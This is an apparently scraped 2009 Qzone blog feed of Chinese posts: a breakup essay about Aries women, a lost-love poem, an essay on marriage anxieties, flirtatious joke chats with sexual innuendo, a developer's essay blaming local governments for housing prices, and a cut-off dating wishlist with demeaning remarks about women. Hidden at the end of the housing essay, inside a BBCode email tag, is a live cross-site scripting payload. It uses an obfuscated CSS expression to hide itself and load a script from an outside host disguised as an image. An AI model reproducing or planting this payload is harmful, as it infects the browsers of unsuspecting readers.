http://365538223.qzone.qq.com Fri, 27 Nov 2009 22:56:22 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Mon, 23 Nov 2009 05:38:36 GMT http://365538223.qzone.qq.com/blog/1258954716 别爱上白羊座女孩
　　白羊座很花心，喜欢和异性保持很暧昧的关系
　　请别爱上白羊座女孩
　　白羊座很孤单，双子座喜欢孤单，而白羊座害怕孤单
　　
　　请别爱上白羊座女孩
　　白羊座没有安全感，也不会给别人安全感
　　请别爱上白羊座女孩
　　白羊座爱不起，更怕伤害
　　请别爱上白羊座女孩
　　白羊座喜欢折磨人，一会儿对你好，一会儿对你坏
　　请别爱上白羊座女孩
　　白羊座喜欢自欺欺人，一直说以后一切都会好
　　请别爱上白羊座女孩
　　白羊座内心很悲观，世界末日也不会在乎
　　
　　请别爱上白羊座女孩
　　白羊座很坏，很坏，很坏
　　女白羊分手后完全不会像处女座巨蟹座在人面前要死要活，她嬉笑怒闹，变得更加“开朗”
　　在听到有关他的话题时，从不刻意回避，她适当参与，淡然微笑
　　她的表现总会遭人怀疑这段感情的深浅，她的付出
　　而人群中只有那些知道背后情节的人才看见她背后的眼泪和努力
　　白羊座的女孩从来不会在情人面前大声哭泣，但她几乎每晚都躲在被窝里独自哭泣到天亮
　　如果你看到她的眼泪，请相信这绝不是她在博取同情，
　　这是她这样一颗内心骄傲的女子不得以的场景
　　分手后的白羊座还是那个追求和谐，理智的她
　　想通了后的她甚至还能和你恢复到朋友的话题宇语气
　　一切那么自然，你自以为她解脱很快，自以为她比你更洒脱。
　　她，只是为了减轻你的负担
　　结束感情后，白羊座也会选择遗忘
　　但请你不要轻易给她承诺和誓言，即使她很难相信，但她还是会选择 等待和坚持 !
　　哪怕她料想得到结果，她也会选择认命
　　分开后，你会觉得她周围的异性多了起来
　　可是你不知道事实是曾经的她为了表示对你的专注，竟然傻到可以疏远那些朋友
　　现在的她，只是想找回原来的自己
　　
　　白羊座的伤不浓烈似酒，只是一杯白水
　　她们选择在其中淡定，在其中沉默……
　　 ]]> http://365538223.qzone.qq.com/blog/1258954716#comment 142606856 Mon, 23 Nov 2009 05:38:36 GMT http://365538223.qzone.qq.com/blog/1258954716 http://365538223.qzone.qq.com/blog/1252908765 有一个人 你一上线就会去看他在不在
不在就一阵失落 在 又不敢打扰
有一个人 他的状态签名只要一换
你立刻胡思乱想 揣测不安
有一个人 你在线只是在等他
而他的头像却不会在你的QQ里抖动
有一个人你总是忍不住去看他的空间
即使他什么新鲜事都没有
有一个人你会看他的最近来访和留言
然后又胡思乱想 揣测不安
有一个人 你一直在等他

他却忘记了你

有一个人 你真的好恨他
可是仔细一起 你恨他什么
恨他放弃你么?

那不如恨自己

有一个人 你以为他是你的永远
有一个人 你真的可以对他无条件付出
他却不稀罕 对他来说 你只是负担~
有一个人 你那么那么舍不得
他却那么随意 洒脱 不在乎
有一个人 教会你怎么去爱了
但是 他却不爱你了
有一个人 你总说要放下他
却总是忍不住又拿来回味
有一个人 你真的好想他快乐
宁愿自己不快乐
有一个人 离开他的时候你笑了
但是一转身 早已泪流满面
有一个人 你好想大声告诉他

我真的好后悔爱上你了

因为 你发现 你真的 是真的爱他
但是 他不爱你了
这就是事实

那个骄傲的你去哪里了?
删掉了QQ 一个人 在电脑前流泪
删掉了电话号码 一个人 在窗前神伤

大哭一场
允许自己再大哭一场
以后 再也不会期待
不会看他在不在线了
不会看他的空间了
不会期待他的信息和电话了
不会期待他会关心你
有那么 一个人

真的让你受伤了

记得那个人说过
"自私的人会快乐 我自私 所以我快乐"

恩 再见了

我那么那么爱你 我一点也不遗憾
值不值得 都不要紧
重要的是 记得曾经有那么一个人 爱过你


现在我把爱情还给你 那你把我的骄傲还给我 好不好？




]]> http://365538223.qzone.qq.com/blog/1252908765#comment 142606848 Mon, 14 Sep 2009 06:12:45 GMT http://365538223.qzone.qq.com/blog/1252908765 http://365538223.qzone.qq.com/blog/1248887256
我想，首先，心态问题。在以前，结婚根本就不是个事儿，一到岁数找个差不多的就办了，那时候大家都一穷二白，干脆利索，也没人在乎爱多爱少的。可现在这人类进化得越来越把自己当回事儿了，什么人品、家世、长相、工作、学历、前途、甚至业余爱好没有一样不琢磨的，反复研究，深入探讨，仔细对比，辗转反侧……眼看着就把简单问题复杂化，两人问题扩大化！结果越琢磨越糊涂，这婚就结不了了！结婚嘛，俩人搭伙过日子，本来多简单一事，硬让我们弄得比制造航天飞机还罗嗦。究其原因，我觉得是我们对结婚的目的不纯粹了，总想通过婚姻得到一些其他的附加价值。例如房子、车子、还有未来的好日子。当你想通过一张纸来得到一辈子的东西，是有点难。

心态上还有个问题，就是对婚姻的恐惧。我们这代人，算是蜜罐里长大的，没经历过战乱没挨过饿，被父母宠着，老觉得自己还小，怎么就要结婚了呢？结婚就意味着生子，自己还是个孩子，怎么就出来下一代了？现在的年轻女人都自恋得很，就这么放手青春接过柴米油盐还真舍不得，同龄的男生更是欠成熟，当惯了儿子突然让他当爹，一下子还真适应不过来。父母苦口婆心说为了我们的终身幸福，可一听到“终身”俩字，我就立马联想到50年后自己老态沧桑的样子，好像一结婚“终身”就嗖嗖得跑到头了，如果这一结婚就真把“终身”定了，那我们以后还活个屁呀。

　　还有，现代人的冷漠和爱情的沦丧也让我们犹豫恐慌。最直接的后果就是很多人已经不相信爱情，不相信承诺，甚至不相信自己。我连自己将来会不会变心都保不准，怎么去要求别人？周遭离婚背叛偷情婚外恋私生子充斥着眼球，我的婚姻就能逃过此劫？这围城里面到底好不好？一进一出可就成二手的了，是得慎重。

　　其次，是人的问题，这也是个关键。想娶的人家不想嫁，想嫁的咱们不想娶。人都是犯贱的动物，没得到的东西虽然不见得多好，但还就是念念不忘，讨好谄媚的把人家放到心里至高无上的那个“最爱” 的位置，哭着喊着要娶人家，人家还不一定领情。可对于自己身边默默的奉献者就是视而不见，捧着你爱着你，就真把自个儿当皇帝了，对方条件再好也觉得委屈了自己，总是不那么心甘情愿的“低娶”，说到底，她就倒霉先看上你。还有一些人，既没有想娶的人也没有想嫁的人，整个一爱情不在服务区、被爱情遗忘的小角落，哎……如果单身的压力您还抗得住，那么，还是宁缺毋滥吧，这种人一旦滥起来，就收也收不住了。 　　

结婚再怎么简单，也是两个人的事，我左顾右盼一个人，跟谁结啊？你还别跟我提相亲，这事我接触过，专业着呢。相亲说白了就是挑刺，带着有色眼镜去买白菜，可不一个个都绿了吧唧，紫不溜秋的。

　　最后，钱的问题。这个问题，说大也大，说小也小。贫贱夫妻百事哀，这话肯定是有道理的。钱，肯定是不少贫贱小情侣面临的最大障碍。郎有情妾有意，人手到位了，心态也少先队似的时刻准备着了，两人爱得难舍难分，巴不得立刻搭个小窝生儿育女了，可这小窝哪里找呢？说白了就是房子，再说白了就是钱。没钱就没房，就算租也得要钱吧？都说婚姻是爱情的坟墓，没有房子你连坟墓都进不去！女人所谓的安全感归属感，在恋爱的时候是一个可靠的肩膀温暖的怀抱，可一到结婚女人就立马由浪漫主义改旗更张为现实主义，曾经多么温暖多么宽厚的怀抱现在都不如钢筋水泥的几分地实在。以前在农村，有间瓦房就能办喜事了；后来咱爸妈那辈，只要结婚就有单位福利分房；现在，大学普及了人民富裕了，我们反倒连“安居乐业”都实现不了了。大学毕业20好几了，有个固定单位稳定收入算不错的，可再好的单位也不送免费的房子啊。没房子怎么结婚？如果父母有点家底，给你把房子车子都买上，那算命好的，有多少大学生上学的钱都是东拼西借来的，毕业还想买房？先还个几年债再说吧。当然，肯定也有白手起家、奋斗成才的，可是当他白手的时候，你怎么确定他会不会成才呢？你要是有这火眼金睛你就等，顺便多看看男人得志后抛弃糟糠妻的小说电视剧。除了房子之外，结婚要钱的地方多了去了，什么定金、彩礼、戒指、婚纱照……样样不少。就说戒指吧，也不知道谁发明的，反正结婚就得有！从求婚、订婚、结婚，哪一步缺得了戒指？还不能是一般的戒指，得是象征爱情恒久远的“钻戒”！求婚的时候你整个铜的铁的塑料的哪怕用草编的，女人那浪漫小情怀一上来也就不在乎了，可结婚的时候总不能这么糊弄人家了吧？你忍心让新娘带着铝合金戒指再跟你走进租来的新房？可这屁大点块石头不知为啥就这么值钱，绝对能让自力更生的小青年“一颗就破产”！所以啊，对结婚的大好憧憬就让几块水泥和石头葬送了前程。当然也有看开了的主不在乎这一套，一提结婚张嘴就是不买钻戒、不拍婚纱照、不摆酒席，整个儿一新“三不男人”。您是省事了，可有几个女人也想省事啊？反正绝大多数女人是不行的，婚纱照一定要拍，还要好好的拍，使劲的拍！不拍得倾城倾国我不散伙！家家有本难念的经，结婚这事也得因人而异。毕竟是人生大事，虽说80后阅历尚浅，但我们也懂得责任俩字怎么写。希望我们现在多珍重，将来不后悔！ 祝福大家好运~~~
]]> http://365538223.qzone.qq.com/blog/1248887256#comment 142606857 Wed, 29 Jul 2009 17:07:36 GMT http://365538223.qzone.qq.com/blog/1248887256 http://365538223.qzone.qq.com/blog/1245812236 　　　　爆笑谷：嗯，世界上所有语言都是难以评价的
　　　　蓝精灵：这么拽？
　　　　爆笑谷：只有用你的肢体来触摸，才能感受得到我的好
　　　　蓝精灵：恶心！
　　　　爆笑谷：其实我这个人真的很不错，是运动型的男人
　　　　蓝精灵：真的吗？
　　　　爆笑谷：我喜欢一切运动
　　　　蓝精灵：好，我欣赏
　　　　爆笑谷：尤其喜欢床上运动
　　　　蓝精灵：色狼！
　　　　爆笑谷：我说的是在床上练瑜伽，你想什么哪？
　　　　蓝精灵：呸！
　　　　爆笑谷：我还喜欢一切圆的球类
　　　　蓝精灵：什么球？
　　　　爆笑谷：尤其是女人身上的两个球！
　　　　蓝精灵：！！又来了
　　　　爆笑谷：我说的是女人的眼球，明眸善睐，多美啊！
　　　　蓝精灵：晕！
　　　　爆笑谷：没关系了，知道你是个美女，所以我很喜欢你了，尤其是你身上的两个球…
　　　　蓝精灵：呸呸！！
　　　　爆笑谷：我说的是真的哟
　　　　蓝精灵：我发现我对你也开始有了一种无法言表的、异样的感觉……
　　　　爆笑谷：耶！我一直以为我对你是自作多情，看来还没有了，呼呼
　　　　蓝精灵：当然不是自作多情，根本就是一厢情愿嘛！
　　　　爆笑谷：啊！你不是说有感觉吗？
　　　　蓝精灵：是啊，有感觉，一种想吐的感觉！！
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蓝精灵：好无聊呀
　　　　爆笑谷：是啊，我也觉得无聊
　　　　蓝精灵：对一切都失去了兴趣了
　　　　爆笑谷：生活失去了颜色
　　　　蓝精灵：对，一片空白
　　　　爆笑谷：偶尔，有点黄色了，嘿嘿
　　　　蓝精灵：打你头！
　　　　爆笑谷：打破的话，就会多了一点红色~~
　　　　蓝精灵：我和男朋友分手了！
　　　　爆笑谷：恭喜
　　　　蓝精灵：不用了，知道你想恭喜我解脱了
　　　　爆笑谷：错！我是恭喜你男朋友终于摆脱你了！
　　　　蓝精灵：你！！！
　　　　爆笑谷：分开其实很好
　　　　蓝精灵：是吗
　　　　爆笑谷：女人的容貌是别人的，女人的知识是别人的，女人的身体也是别人的，只有快乐是自己的
　　　　蓝精灵：有点意思
　　　　爆笑谷：男人更惨
　　　　蓝精灵：怎么惨了？
　　　　爆笑谷：男人的钱包是老婆的，男人的智慧是老婆的，男人的身体也是老婆的
　　　　蓝精灵：快乐是自己的？
　　　　爆笑谷：男人有了老婆，哪里还有快乐？！
　　　　蓝精灵：好可怜啊，那男人总得有不属于老婆的地方吧
　　　　爆笑谷：是啊，和老婆在一起的时候，心却是属于别的MM的
　　　　蓝精灵：是吗？
　　　　爆笑谷：心里想着别的MMSC时的样子……
　　　　蓝精灵：啊？！
　　　　爆笑谷：我是说别的MMSC翻筋斗时的样子！
　　　　蓝精灵：晕！
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云边之雪：你在吗？怎么不见你上线？
　　　　爆笑谷：心无时不跳，我无处不在。
　　　　云边之雪：原来是个“隐君子”
　　　　爆笑谷：隐名免灾祸，隐身免烦恼。
　　　　云边之雪：不知道“小隐于野，大隐于市”吗？
　　　　爆笑谷：知人知面不知心，隐名隐身难隐情。
　　　　云边之雪：哇，好难懂啊，你学哲学的？
　　　　爆笑谷：学文学的都是傻子，学哲学的都是疯子。
　　　　云边之雪：真精辟啊，你是不是经常这样在网上泡妞？
　　　　爆笑谷：流汗流血不流泪，泡茶泡吧不泡妞。
　　　　云边之雪：好酷呀，可是人不可能没有感情呀！
　　　　爆笑谷：蒸桑拿蒸馒头不争名利，弹吉它弹棉花不谈感情
　　　　云边之雪：我开始流汗了，你真是个牛人！
　　　　爆笑谷：玩什么都别玩爱情，信什么也别信男人。
　　　　云边之雪：嗯，至理名言，你受过感情的伤呀？
　　　　爆笑谷：爱有多深，恨有多深。
　　　　云边之雪：怎么感觉那么沧桑啊。
　　　　爆笑谷：女人因为成熟而沧桑，男人因为沧桑而成熟。
　　　　云边之雪：有点难懂，但又很有道理。
　　　　爆笑谷：男人善于花言巧语，女人喜欢花前月下。
　　　　云边之雪：你是怪物吧！
　　　　爆笑谷：每个人都是怪物，每句话都是真理。
　　　　云边之雪：天啊，和你生活在一起会累死了，肯定没人会嫁给你。
　　　　爆笑谷：笨男人要结婚，笨女人要减肥。
　　　　云边之雪：我要哭了！
　　　　爆笑谷：爱与恨都是寂寞的空气，哭与笑表达同样的意义。
　　　　云边之雪：哭和笑怎么能一样，去死吧！
　　　　爆笑谷：苦与乐都是财富，生与死都要绚丽。
　　　　云边之雪：和你说话真累，其实你不懂女人心。
　　　　爆笑谷：女人希望男人表露心灵，男人希望女人裸露身体。
　　　　云边之雪：嗯这句话有道理，你有没有女朋友？
　　　　爆笑谷：黄脸老婆易寻，红颜知己难觅。
　　　　云边之雪：和你结婚会不会开心？
　　　　爆笑谷：男人的痛苦从结婚开始，女人的痛苦从认识男人开始。
　　　　云边之雪：天啊，那还是不要接近你了……
　　　　爆笑谷：最易接近的是身体，最难接近的是心灵。
　　　　云边之雪：你喜欢怎样的女孩子？
　　　　爆笑谷：女人喜欢的男人越成熟越好，男人喜欢的女孩越单纯越好。
　　　　云边之雪：不是吧，我怎么听说男人对不单纯的女人也感兴趣？
　　　　爆笑谷：好男人应在床上勇猛，好女人应在床上放荡。
　　　　云边之雪：哈哈色狼的尾巴露出来了！
　　　　爆笑谷：男人好色称为色狼，男人不好色称为色盲。
　　　　云边之雪：你讲话很搞笑呀。
　　　　爆笑谷：世间纷繁万般无奈，心头只求片刻安宁
　　　　云边之雪：下次还能和你聊吗？
　　　　爆笑谷：做男人无能会使女人寄希望于未来，做女人失败会使男人寄思念于过去
　　　　云边之雪：哈哈，你的意思是我们现在就见面？
　　　　爆笑谷：心动不如行动，说到不如做到。
　　　　云边之雪：OK，我决定了，去见你！
　　　　爆笑谷：有缘人终成正果，有情人终成网友！
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蓝精灵：你为什么总是隐身啊？
　　　　爆笑谷：怕被美女骚扰啊
　　　　蓝精灵：拽吧你，你以为你是谁啊？
　　　　爆笑谷：我很优秀的，一个优秀的男人，不需要华丽的外表，不需要有渊博的知识，不需要有沉重的钱袋，只要他的思想够丰富，学会在茫茫网络中隐藏自己的锋芒，就足够了…
　　　　蓝精灵：哇，高人啊！
　　　　爆笑谷：不错，本人不矮，1米85
　　　　蓝精灵：你真是一个优秀的男人吗？
　　　　爆笑谷：当然，我从小就很优秀，小学到初中，一直在班里任重要职务
蓝精灵：班长？
　　　　爆笑谷：卫生小组组长。
　　　　蓝精灵：真的好重要哇~~
　　　　爆笑谷：相信你也是一个很优秀的人
　　　　蓝精灵：嗯，想想，从小到大，倒是得了不少荣誉
　　　　爆笑谷：说说看
　　　　蓝精灵：小学时候得到讲故事大赛第三名
　　　　爆笑谷：一共3个人参加吧！
　　　　蓝精灵：中学时候长跑考试得了一次第一
　　　　爆笑谷：倒数的吧
　　　　蓝精灵：我写的文章都在学校公开栏展出
　　　　爆笑谷：写的检查吧
　　　　蓝精灵：大学时候还参




加过学校舞台剧的演出，从第一场到最后一场，我全都出场了…
　　　　爆笑谷：演一块石头吧……
　　　　蓝精灵：现在人们还都说我是一个才女呢
　　　　爆笑谷：嗯，你是做裁缝的吧，裁女！
　　　　蓝精灵：555，居然全被你猜中了！
]]> http://365538223.qzone.qq.com/blog/1245812236#comment 143654920 Wed, 24 Jun 2009 02:57:16 GMT http://365538223.qzone.qq.com/blog/1245812236 http://365538223.qzone.qq.com/blog/1242915295

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　　很多人都认为，开发商都是些借着政策发不义之财的奸商，可是，事实上，开发商在全国性的房价上涨风潮中，一直处于一个很尴尬的地位。一方面，他们要冒着巨大的风险来面对一天比一天高的土地成本和政策成本，忍受着政府和政府官员的盘剥；另一方面，还要忍受着消费者的各种指责，当着黑心肝的代言人。我在做第一个房地产项目时，除了地价，我们要交六十四项行政性收费。我和莫小平在核算成本，她深有感慨地说，如果这些收费减少一半，中国的房价至少降三分之一。为了少交或者免交某些费用，开发商必须想方设法拉关系走后门。我一直认为房价过高最大的问题，在于开发商对政府官员的行贿贿行为由买房者承担。而国家对房屋价格的控制事实上是加大了税收，但是高税收最后转嫁到了购房者身上。中国最大的房地产商是谁？各级政府，它们利用手里的土地批租，然后再向房地产商收取各种名目繁多的费用，等房子建好了，卖出了它们还要向房地产商和购房者收税。房地产商有风险，可是，各级政府那是包赚不赔啊。其实房地产也是风险投资项目，只是和股票等玩意相比，它不会一夜之间让你血本无归而已。

　　作为一个房地产开发商，我真希望中国各级政府的官员不要自从数据去分析GDP的增加，而是从当地普通家庭的年收入和当地的房价的比例去看。我一直想问他们一句话，你们政府认为用一个普通家庭20-30年的全部收入去换一套只能用几十年的房子，正常吗？一套房子，首付掏空了上代人的积蓄，分期付款让这代人没有什么积蓄，这是哪个国家能干出来的事情？可是这奇妙的事情就发生在社会主义的中国。房产只是众多产业中的一个，但却掏空了人们大量积蓄和未来收入。房价当然与开发商有直接关系，可是，那更多的是一种无奈。提高房价，使他们为了抵御政策风险和市场风险不得不做的自我保护。资金是有成本的，做生意的人都知道，做生意是需要流动资金的，没有流动资金，再大的企业也无法运作。所以对于开发商来说，他们更关注的是现金流，房子涨了当然好，可以赚得额外的利润，但是，你要明白一个楼盘的销售时间越长，对开发商本身越不利，只有傻瓜才会捂盘惜售，那要捂到什么时候才是个头？企业及时套现才是正路。开发商必须遵循生意规则，你如果硬要开发商要有良心，不能涨价，那我要说，这话你跟中国政府说最好。谁控制了土地，谁就控制了房价。所以，中国的房价不是控制在开发商手里而是控制在政府手里的，只是这个道理一般人不明白。囤积土地是需要巨额资金的，就像生意人所说的压货，你能压多少货？卖几十年？对有实力的房地产开发商来说，适当压一两块土地，保证公司开发的延续性，节约运营成本是完全必要的，压多了，谁有那么大的资金？有这个能力的只有政府！

　　房地产行业的大部分利润都被收到政府的口袋去了，尤其是在现在以拍卖拿地的现状下更是如此。说个最简单的，某城市的地王，44亿的标价，土地面积1.3709万平方米，容积率4.8，总建筑面积6.58万平方米，楼面价就是6万多。也就是说，房子还没建，政府就已经揣到自己口袋这么多钱了。国土局为什么那么容易出贪官，受贿原因全是那红线内外一米，或者容积率那零点几的小数！很多朋友都以为，开发商是想咋建就咋建，可是事实根本不是那么回事，国家政策在那里呢，土地竞拍就是一把刀，容积率又是二把刀，直接就限制了房屋总量的提高。地价是楼价构成中的一个主要因素，它的高低决定了房地产市场的走向。所以，一道政府搞房地产市场所谓的宏观调控我就发笑，他们不是少收点地价，而是加税，你说，这不是更加推动房价高企吗？

　　房价成本到底如何构成

　　经常有朋友问我，一个平方米的房子的成本有多少？我告诉他，其实，直接成本很小，比如我这个项目，建筑成本大概在1850-2500之间。包括：土建，装饰，园林，水电！土建是指毛坯大概1200元m2，包括地下室和基础；装饰部分80元/m2，包括外墙砖，入户门，栏杆和铝合金窗等；园林大概550元/m2；水电大概250元/m2，包括电缆，智能安装，及室外排水设施。 其实，要算房子的成本还要加上营销成本、财务成本、各种营业税、土地增值税等等。 就说，那容积率吧，我要不是通过卿至泰把它提高了，就原来批的1.7，我根本赚不到什么钱。

　　说到这里，我不免又要罗嗦几句，说说什么是容积率。容积率就是总建筑面积与用地面积的比率。可是，国家还有个规定，高层住宅容积率应不超过5，多层住宅应不超过3。嘿嘿，要是都按这个来，在考虑到光照指数，开发商根本赚不到钱。所以，大家就各显神通提高容积率。关键是送多少钱。容积率相对真实的只有别墅。所以更加卖得死贵。放眼全国，无论哪里，开发商和规划局都在一起愚弄人民。当然其中的公关费很可观，但与房价利润相比实在是太划算了。 正因为容积率是可以托关系修改的，所以，没有哪个开发商会傻傻的按照既定好的容积率来开发。 我曾经跟卿至泰说过这样的话：“面粉涨价了，包子馒头能不涨？”他笑了，我也笑了。

　　大家在骂房地产商黑心致使房价猛涨的时候，谁也没有注意土地现价早已涨过房价的涨幅了。现在地方财政就是土地财政，地方政府拼命要卖土地赚钱，中央想控制都控制不了，你看现在全国各地哪个城市的城区面积都在不断蔓延。房价的高低有无标准。答：房价乃政府能够忍受的价格，房产现象只是中国政治经济体系的一个表征。 我有时觉得政府官员真的是很蠢，一块地，如果作为住房用地来卖，那么他所得到的税收只有卖房那么一次的税收，而一套房子可用年限至少有4-50年，甚至70年也就是说政府这4-50年就收这么一次税。但如果作为工业用地，做厂房，做企业，那么政府可以年年向企业商家收税，所以对于政府来说卖地建房是下下策的方法。但是，为什么他们还要买呢？因为一个地方的一届领导做多干五年，他做事只管这五年自己的财政收入，至于五年以后，他都不知道调到什么地方去了，所以，一届又一届政府是只管现在不管将来啊！

　　现在最搞笑的还是那个招挂拍制度。据说这个制度是向香港学习的，可是人家那是民主社会，法律多健全啊？可是在内地，这制度一出台就为政府官员游戏法律提供了更多的空间。没实行这个制度以前买土地，一般只需要出个10来万撑死100来万忽悠贿赂一下国土局的实权人士乃至一把手，那么土地譬如说本来价值1000万的土地，一把手银子捞足大笔一挥也许2，300万就搞到手了，反正都是公家的地。而现在呢？实行的正规的招拍挂，一般人就不大敢便宜卖了，你要敢这样做，不是下台也得双规，官员们心里也是有点忌惮的。

　　那么，价值1000万的土地可能就的掏出1500万银子才能摆得平，即使你有关系后台够硬那么最少也得7、800万才能堵上众人的嘴巴。因为能够搞房地产资质，能拿到土地的老板哪个是没有后台的，哪个是后台不硬的？你以关系拿到了，那我拿不到我可以利用我的关系在后面捅你一刀还可以名正言顺的把你身后的后台给拉下马。所以土地这块上多出来的价格是谁来承担？当然是羊毛出在羊身上。开发商不可能善良到自掏腰包，当然的把房价抬上去。 制度是决定资源分配的根本原则，可笑某些人还在寄希望于宏观调控，根本的原则不调，怎么调都是空调！

　　我问过一个规划局长，“作为一个规划局的局长，你从你的角度说说，政府能不能暂时不卖地？”

　　他笑着说：“不卖地，哪里来钱养活那些公务员？” 在房地产行业，对于地产商追求高回报大家不能有过多指责，因为逐利是企业的本能。大家应该关心的是，一些地方政府特别是个别贪官不顾国家的一系列制度规范，为了自己的一己私利，他们凭什么滥用公权利？用公权利牟利呢？在地方政府政绩观的支配下，特别是一些官员在金钱诱惑下，都能想出应对、变通的对策。

　　比如说：招拍挂制度，很轻易地就被地方政府架空，当做摆设。另一方面，对于土地的违法行为，恫吓的多，实际上处理过软。国家确实处理了一批土地违法者，但是，轻描淡写地给省级干部、主管领导一个处分，起不了太大作用。一些受处分的领导干部，不但毫发无损，有些官帽子还越戴越大呢。 以前我只是一个搞建筑的，现在做上了房地产，干什么吆喝什么，我现在就不得不研究国家关于房地产的有关政策，就不能不千方百计地和对我有用的各级部门官员打交道。

　　一套房子会压垮中国

　　作为一个做房地产的商人，我的脑子里一直有一个声音：“一套房子会压垮中国。” 为什么这么讲？因为我开始加入房地产行业的时候，正值香港经历亚洲金融风暴不久，香港很多老百姓正经历负资产的风暴。什么是负资产呢？我现在简单说一下：房价一旦提高，你要它降那是非常困难的，为什么？因为银行跟房价捆在一起呢，房价一旦升高，你买房子，如果你要做贷款，是不是要以市值做贷款？肯定不是拿净值做贷款吧？得，这就出现了问题，一旦房价大幅度下跌，就像97、98年的香港，遇到到亚洲金融危机，当时100万的房子只剩40万的价值，可是你的贷款是七成，也就是，这时候你借了银行70万，可是房子现在的价值只有40万！现在，你把房子卖掉还给银行，你还欠银行30万，这时候，你应该怎么做呢？你应该不还了，把房子给银行算了，我何必再赔30万呢。可是，香港老百姓当时并没有把房子给银行，为什么？因为香港有很完整的信用体系，你一旦把房子给银行，你的信用就完了，以后你找工作、创业、纳税甚至生活都会出现问题，你不能拥有私家车，不能到高级消费场所等等。所以，香港老百姓没有办法，只好硬抗着。

　　可是，中国大陆就不同啦，因为没有完整的信用体系和社会保障体系，如果出现了负资产，老百姓立刻就会把房子扔给银行，那时候，比亚洲金融风暴和美国次贷危机的金融风暴马上就席卷全国，中国经济马上就到退三十年。 所以，很多朋友总寄希望于宏观调控，认为国家出了重拳房地产价格就会降下来，可是，你不明白，中央可明白宏观调控政策所带来的金融风险以及把金融机构搭上去的银行风险呢。 再说，各地方政府能让房价下来吗？房价一下来，GDP立刻就降好多个百分点，政绩怎么算？税收怎么收？地方财政怎么来钱？银行坏账是不是又要超过国际标准若干个百分点？

　　但是，不宏观调控好不好？也不行，那就是第二个日本泡沫。二者泡沫就会造成经济过热，物价上涨，通货膨胀，企业运营成本提高。所以，还要调控，而调控的主要手段就是紧缩银根，提高利率，而这样的做法作打得一个恶果就是叫制造业赚不到钱，使得制造业老板把钱从制造业抽出来投入股市、房市从而使泡沫越来越大。

　　这不是似乎进入了一个怪圈？永远也解决不了问题？老百姓就要坐等灾难的到来而无能为力？其实有办法，这办法就是让这房价高企的始作俑者放弃对房价的操控。

　　政府放弃操控 房价下跌才有希望

　　大家知道，房地产项目，立项到开工，一直到峻工验收合格包括期间的销售等等环节，每一个环节都有政府的影子，就连最后的房地产交易中心，那本来应该是个类似市场之类的东西吧？那也是国土局下属的事业单位。

　　大家知道只要有政府影子的地方就一定有滥用职权，而滥用职权就意味着腐败，而这样也就提高了交易成本。所以，让政府推出这些所谓的监管，或者减少监管，或者公开监管，都会让房地产市场减少腐败，减少成本，最主要的就是那么行政性的收费项目能不能取消呢？我就不明白一件事，在房地产项目的建设过程中你收了建筑公司的税、验收合格以后你又收了房地产公司的税、交易过程中你又收了房地产公司和买房者双方的税，这些税不就是用来支付你那些行政机构的费用的吗？你政府为什么还要重新再收一遍呢？

　　说完了这些咱再说你政府的卖地行为，你美其名曰说是什么市场化，我看纯属你往财政捞钱，每届地方政府上台之后什么事都不用做，只要卖地就能使GDP上升，卖一块地GDP上升一个百分点，卖两块地GDP又上升两个百分点，卖的价格越高GDP越高，所以，放眼全国，什么东西涨价最快？土地！而且是只涨不跌的，这时什么行为？市场行为？鬼才信，这就叫操控市场。你土地价格上去了，企业运营成本自然就上去了，于是，拉动相关行业涨价，相关行业涨价，其他行业能不涨价？所以啊，温总说到了经济发展中的结构性涨价，它是说到点子上了，可是他有一句隐台词没有说出来，那就是结构性上涨的根子在哪里？我相信他是明白的。政府不卖地，房价就能降下来？短时间这个效果是出不来的，短时较出效果只能在银行身上下手，但是，大家请记住，在银行身上下手也不是那么容易的，首先，银行虽然说是国家的，可是银行他也是企业，它也要生存啊，你现在叫它生存不下去，他能干吗？除非政府拟给补贴。银行的钱是在房价最高的时候放出去的，你现在强行打压房价，银行的损失怎么办？就算你给银行补贴，那些房地产公司又怎么办？他有些房子实在房价最高的时候卖出去的，那么现在房价呼拉掉下来一大截？人家那些先买房的人不来找你房地产公司吗？不管多大的房地产公司都没有银行的实力，老百姓叫它退钱它是退不起的。

　　所以，像在短时间把房价降下来，那简直是天方夜谭。不说，当初花了高价买地建房的房地产商不干，银行不干、买了房的业主不干、就是地方政府也不干啊？再说，还有一只幕后黑手在继续推动房价上涨呢？那黑手是什么？就是政府卖地的那笔钱啊？那钱它不会老老实实躺在财政局的帐号上的，它要以各种名义跑到市场上来，修桥铺路从事地方建设啦、公务员加薪啦、福利事业啦等等，但是为这些最终买单者一定是老百姓！怎么买，你自己想吧。

　　说句题外话，这些日子，深圳银行限制提现，美其名曰说是为了打击非法洗钱。你信吗？非法洗钱从来都存在，为什么偏偏在这个时候打击？我看，原因只有一个，那就是银行没钱了！银行会没钱？会的。银行的经营模式大家都知道，就是那老百姓的钱赚老百姓的钱，它们转的就是利息差以及衍生费用，现在他们把大量的钱投入到房地产上去了，现在房地产市场低迷，没有成交，以前的钱立刻成了呆账，它们哪里还有钱？所以，自然要限制提现。这事就是发生在咱这奇妙的中国，要是发生在外国，立刻还不产生挤兑风潮？ 疯狂的房产泡沫消耗了大量消费阶层的钱包，而中国经济面临的最大问题就是严重消费不足！而政府对这一切却视而不见！现在，全国都来搞房地产，就像当年全民炼钢铁一样。如果政府还在追求那虚假的GDP，金融危机迟早就到来。 [flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://365538223.qzone.qq.com/blog/1237912297#comment 134218248 Tue, 24 Mar 2009 16:31:37 GMT http://365538223.qzone.qq.com/blog/1237912297 http://365538223.qzone.qq.com/blog/1231422996 二，必须是80后。我是83年的，大我两岁小我两岁都没关系，但必须要80后的。毕竟同一个时代的人更能说到一起。90后的不想死就别招惹我。
三，个性要独立。你赚不赚钱都无所谓，但必须有独立生存的能力。不要什么事都指望我，我要找的是女朋友，不是女儿，也不是情妇。
四，谈过3个以上男朋友的勿扰。不管你是因为什么原因和前3个男朋友分手，如果是连甩三人，那你就是水性扬花，如果是连被甩三次，那你真不是什么好人，可怜之人必有可恨之处。
